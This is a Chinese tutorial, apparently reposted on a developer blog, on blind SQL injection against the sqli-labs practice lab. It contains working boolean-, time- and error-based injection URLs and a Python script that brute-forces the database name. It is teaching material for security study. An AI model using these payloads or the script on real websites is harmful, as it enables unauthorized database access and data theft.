SQL盲注注入——布尔型

SQL盲注注入——布尔型盲注是注入的一种 指的是在不知道数据库返回值的情况下对数据中的内容进行猜测 实施 SQL 注入 盲注一般分为布尔盲注和基于时间的盲注和报错的盲注 本次主要讲解的是基于布尔的盲注 Length 函数返回字符串的长度 Substr 截取字符串 Ascii 返回字符的 ascii 码 sleep n 将程序挂起一段时间 n 为 n 秒 if expr1 expr2 expr3 判断语句如果第一个语

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。

Length()函数 返回字符串的长度 Substr()截取字符串 Ascii()返回字符的ascii码 sleep(n):将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

当然如果上面的函数被禁用,也有相应的函数替换。可百度

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

当前数据库database()的长度大于10,返回true页面,否则FALSE页面

报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句)

列如典型payload:

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

count(*)计数   concat()连接字符   floor()重复数据,返回0,1两个值  group by 进行分组 rand(0)避免数据重复造成的错误

时间型:通过页面沉睡时间判断

通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4)) --+ 

如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒

 

布尔型详解:

 测试页面:

SQL盲注注入——布尔型

get一个参数 id =1,返回TRUE页面

SQL盲注注入——布尔型

注入测试加单引号id=1′,返回不正确页面。

到这里初步确定单引号存在注入,TRUE页面有’you are in………..‘,FALSE页面不存在’you are in ……..‘

SQL盲注注入——布尔型

知道为盲注布尔型注入,利用上面的函数进行猜解

猜当前数据库第一个字符:(下面代码还需进行编码)

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

SQL盲注注入——布尔型

利用二分法,115为fal,114TRUE,数据库第一个字符ASCII为115,即s

同理修改substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:length(database())

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1′ and ascii(substr(database(),1,1))>114# 这条语句在后台为:

SELECT * FROM users WHERE id=’1′ and ascii(substr(database(),1,1))>114#’(后面单引号被#注释掉)

后面的表,列,字段猜解在上篇有介绍查询语句

如表

http://127.0.0.1/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#

其它就不一一写了。

接下来是自己写的Python脚本,爆破数据库长度和数据库

import requests def database_len(): for i in range(1,10): url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php''' payload = '''?id=1' and length(database())>%s''' %i # print(url+payload+'%23') r = requests.get(url+payload+'%23') if 'You are in' in r.text: print(i) else: #print('false') print('database_length:',i) break database_len() def database_name(): name = '' for j in range(1,9): for i in 'sqcwertyuioplkjhgfdazxvbnm': url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i) # print(url+'%23') r = requests.get(url+'%23') if 'You are in' in r.text: name = name+i print(name) break print('database_name:',name) database_name() 

SQL盲注注入——布尔型

表,字段,改下payload就可以跑了。

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/202517.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月19日 下午11:57
下一篇 2026年3月19日 下午11:57


相关推荐

  • Window下kafka 单机SASL_SCRAM加密及身份认证

    Window下kafka 单机SASL_SCRAM加密及身份认证nbsp nbsp nbsp KAFKA 加密认证机制中的 SASL 主要包括 SASL PLAINTEXTSAS GSSAPISASL SCRAM 这里主要记录一下 Windows 下搭建配置单机 sasl scram 环境 一 前情提要 nbsp nbsp SCRAM 是 kafka 安全机制 SASL 家族中的一个 通过执行用户名 密码认证 如 PLAIN 和 DIGEST MD5 的传统机制来解决安全问题 Kafka 中的默认 SCRAM 实现是

    2026年3月16日
    0
  • 制造企业广泛应用的系统-ANDON

    制造企业广泛应用的系统-ANDON安灯体现了 2 个管理思想 质量优先 不惜以急停为代价 暴露并及时解决生产现场问题 装配作业优先 质量工程师 设备工程师 工艺工程师 物流配送人员都是辅助人员 因为装配线的效率决定了工厂的整体效率 下文介绍安灯系统的几个关键要素 01 安灯系统 5 大关键要素 1 呼叫安灯按照呼叫类型区分 可分为质量呼叫 物料呼叫 设备呼叫 线体呼叫 质量呼叫是指当现场出现质量问题 或者工人面临无法解决的问题时 工人通过拉绳或按钮人工触发的呼叫 呼叫的发起方为装

    2026年3月18日
    2
  • Java 基础练习题

    Java 基础练习题1.java类名命名规则答:1.大驼峰命名法2.不能以数字开头3.不能使用关键字,但是可以包含关键字4.数字.字母._,$5.见名知意2.java变量名(标识符)的命名规则和注意事项1.小驼峰命名法2.不能以数字开头3.不能使用关键字,但是可以包含关键字4.数字.字母._,$5.见名知意注意事项:1.相同作用域中不允许重复定义2.变量未经初始化,不允许使用3.一条语句可以定义多个相同类型的变量3.求成绩占总成绩的百分比doublescore=90;double

    2022年7月7日
    20
  • 初学java,遇到的陌生词语(1)

    初学java,遇到的陌生词语(1)

    2021年9月16日
    50
  • 阿里巴巴AI品牌统一为“千问”

    阿里巴巴AI品牌统一为“千问”

    2026年3月12日
    3
  • 【记录】mac使用PyCharm中Python版本不对应的解决方法

    【记录】mac使用PyCharm中Python版本不对应的解决方法在使用PyCharm进行tensorflow学习时,发现mac中还有Python2.7的旧版本,并且说明建议使用新版本。经过搜索以及多个方法的试错,突然发现我用的是macOSBigSur,而惊喜的是已经出的新版本macOSMonterey已经把Python2.7移除了,也许是因为这个原因,在安装了Monterey后,就可以非常顺利的使用Python3.7以及anaconda和tensorflow2.0了。然而在之后的一天我使用anaconda运行py程序时发现了这个问题:Process

    2022年8月27日
    8

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号